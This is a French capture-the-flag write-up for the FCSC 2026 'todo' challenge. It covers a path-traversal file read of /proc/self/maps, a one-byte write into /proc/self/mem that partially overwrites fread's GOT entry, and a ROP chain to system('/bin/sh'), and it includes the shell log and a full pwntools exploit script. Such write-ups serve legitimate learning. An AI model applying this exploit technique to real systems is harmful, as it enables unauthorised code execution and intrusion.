Challenge todo, ctf FCSC 2026

La programme propose de créer des listes sauvegardées dans un repertoire local ‘lists’. Chaque liste est un fichier contenant une succession de blocs. On peut afficher le contenu du fichier avec create_list(), et le modifier avec edit_list(). La fonction edit_list() prend un index, et modifie le character à [index*tailledubloc+1].
Il utilisera fseek(fp, offset: get_int() * 0x51 + 1, whence: 0) sans vérifier la taille du fichier.

Rapidement on voit que l’on peut ouvrir n’importe quel fichier en ‘local file inclusion’. Pas de flag.txt dans les repertoires alentours, ou à la racine, il fallait bien essayer. En guise de leak on va afficher /proc/self/maps pour trouver l’adresse de libc. Et en guise de vulnerabilité on va utiliser la fonction écriture pour modifier /proc/self/mem. Mais on est très contraint, on ne peut modifier qu’un octet à un offset modulo 0x51. De plus l’octet sera 0x58.

En manipulant /proc/self/mem on peut adresser toute la plage mémoire, en lecture/écriture qui plus est. On va partir sur un partial overwrite de l’adresse d’une fonction dans la GOT. Le problème est de trouver un gadget qui permet d’exploiter le contexte. En gros on prend l’adresse des fonctions et on regarde ce qu’il y a à offset & 0xfffff00 +0x58.

Le meilleur candidat que j’ai trouvé est fread(): 0x7343a0063de0 devient 0x7343a0063d58

[0x5dc33e3cd008] fread@GLIBC_2.2.5  →  0x7343a0063de0
   0x7343a0063d58 <fputs+296>:  nop    DWORD PTR [rax+rax*1+0x0]
   0x7343a0063d60 <fputs+304>:  test   eax,eax
   0x7343a0063d62 <fputs+306>:  je     0x7343a0063d80 <fputs+336>
   0x7343a0063d64 <fputs+308>:  sub    eax,0x1
   0x7343a0063d67 <fputs+311>:  mov    DWORD PTR [rdi+0x4],eax
   0x7343a0063d6a <fputs+314>:  add    rsp,0x8
   0x7343a0063d6e <fputs+318>:  mov    eax,ebp
   0x7343a0063d70 <fputs+320>:  pop    rbx
   0x7343a0063d71 <fputs+321>:  pop    rbp
   0x7343a0063d72 <fputs+322>:  pop    r12
   0x7343a0063d74 <fputs+324>:  pop    r13
   0x7343a0063d76 <fputs+326>:  ret

Le problème c’est qu’avec l’ASLR le dernier byte de fread() n’est pas toujours sur un modulo 0x51 . On va donc spammer le lancement jusqu’à obtenir un adressage qui nous convient (elf.got.fread-1)%0x51==0). En appelant fread() le programme tombe dans la fin de la fonction puts(). Le contexte est interessant, dans la pile on a le contenu du dernier fichier lu. Avant le partial overwrite il faut donc créer un fichier avec notre ROP et le lire. Et on découvre que le fichier flag.txt était dans un repertoire à la racine avec un nom impossible à devenir.

[+] Opening connection to challenges.fcsc.fr on port 2210: Done
[+] elf.address  0x5af3d31a1000
[+] libc.address  0x7b19d7e79000
[*] elf.got.fread  0x5af3d31a5008
[*] (elf.got.fread-1)%0x51  0x0
[+] ptr  0x11f74624cd7
targeting 0x5af3d31a5008
gadget  0x7b19d7f56f43
[*] Loaded 5 cached gadgets for './todo_patched'
[*] Loaded 204 cached gadgets for './libc.so.6'
0x0000:   0x7b19d7ea3145 pop rdi; ret
0x0008:   0x7b19d801fea4 [arg0] rdi = 135350928408228
0x0010:   0x7b19d7ecc110 system
[*] Switching to interactive mode
Linux todo 6.18.20-metal-hardened-pwn #1 SMP Sun Mar 29 21:23:43 UTC 2026 x86_64 GNU/Linux
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cd /
$ ls -al
total 84
drwxr-xr-x   1 root   root     4096 Apr  6 13:56 .
drwxr-xr-x   1 root   root     4096 Apr  6 13:56 ..
-rwxr-xr-x   1 root   root        0 Apr  6 13:56 .dockerenv
d-wx------ 158 ctf    ctf      3160 Apr  7 19:34 app
lrwxrwxrwx   1 root   root        7 Jan  2 12:35 bin -> usr/bin
drwxr-xr-x   2 root   root     4096 Jan  2 12:35 boot
drwxr-xr-x   5 root   root      320 Apr  6 13:56 dev
drwxr-xr-x   1 root   root     4096 Apr  6 13:56 etc
drwxr-xr-x   2 root   root     4096 Apr  6 13:55 flag_2098a0319027738551eaa3936fd73a2d
drwxr-xr-x   2 root   root     4096 Jan  2 12:35 home
lrwxrwxrwx   1 root   root        7 Jan  2 12:35 lib -> usr/lib
lrwxrwxrwx   1 root   root        9 Jan  2 12:35 lib64 -> usr/lib64
drwxr-xr-x   2 root   root     4096 Feb  2 00:00 media
drwxr-xr-x   2 root   root     4096 Feb  2 00:00 mnt
drwxr-xr-x   2 root   root     4096 Feb  2 00:00 opt
dr-xr-xr-x 339 nobody nogroup     0 Apr  6 13:56 proc
drwx------   2 root   root     4096 Feb  2 00:00 root
drwxr-xr-x   3 root   root     4096 Feb  2 00:00 run
-r-x------   1 ctf    ctf       344 Apr  6 13:55 run.sh
lrwxrwxrwx   1 root   root        8 Jan  2 12:35 sbin -> usr/sbin
drwxr-xr-x   2 root   root     4096 Feb  2 00:00 srv
dr-xr-xr-x  11 nobody nogroup     0 Apr  6 13:56 sys
drwxrwxrwt   1 root   root     4096 Apr  6 13:55 tmp
-r-x------   1 ctf    ctf     16736 Apr  6 13:55 todo
drwxr-xr-x   1 root   root     4096 Feb  2 00:00 usr
drwxr-xr-x   1 root   root     4096 Feb  2 00:00 var
$ cd flag_2098a0319027738551eaa3936fd73a2d
$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr  6 13:55 .
drwxr-xr-x 1 root root 4096 Apr  6 13:56 ..
-r-------- 1 ctf  ctf    71 Apr  6 13:55 flag.txt
$ cat flag.txt
FCSC{a49a7483a426aff34766f251dca37563fa897b1fd5bd1b7e2b0a9078f09e4959}
  • mandragore, 2026/4/9

from pwn import *

context.arch = 'amd64'
#context.terminal = ['tmux', 'splitw', '-h']

if args.DBG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

elf = ELF('./todo_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

def findgoodbase():
    while True:
        if args.REMOTE:
            p = remote('challenges.fcsc.fr', 2210)
        else:
            p = process(elf.path)

        p.sendlineafter(b'> ',b'2')
        p.sendlineafter(b'> ',b'../../../../../../../../proc/self/maps')
        leak=p.recvuntil(b'Choose')
        for line in leak.split(b'\n'):
            if elf.address==0:
                elf.address=int(line.split(b'-')[0],16)
            if b'libc' in line and libc.address==0:
                libc.address=int(line.split(b'-')[0],16)
                break
        log.success(f'elf.address  {elf.address:#x}')
        log.success(f'libc.address  {libc.address:#x}')

        log.info(f'elf.got.fread  {elf.got.fread:#x}')
        log.info(f'(elf.got.fread-1)%0x51  {(elf.got.fread-1)%0x51:#x}')
        if ((elf.got.fread-1)%0x51==0):
            ptr=int((elf.got.fread-1)//0x51)
            log.success(f'ptr  {ptr:#x}')
            return p,ptr

        p.close()
        elf.address=0
        libc.address=0

p,ptr=findgoodbase()
print(f'targeting {ptr*0x51+1:#x}')

rop=ROP([elf,libc])
rop.system(next(libc.search(b'/bin/sh')))
payload={
    0: b'x\0',
    0x1c: rop.chain()
}
print(rop.dump())

# créer
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'test')
p.sendlineafter(b'] ',fit(payload))
p.sendlineafter(b'] ',b'')

# lire le ROP dans la pile
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'test')

# partial got overwrite
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',b'../../../../../../../../proc/self/mem')
p.sendlineafter(b'> ',str(ptr).encode())

# pause() # local gdb -p `pidof todo_patched` ; got ; break *nouveaufread

# déclenche le fread() empoisonné
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'test')

sleep(0.5) # ne pas envoyer les deux lignes en même temps

p.sendline(b'uname -a;cat flag.txt')
p.interactive()

This site uses Just the Docs, a documentation theme for Jekyll.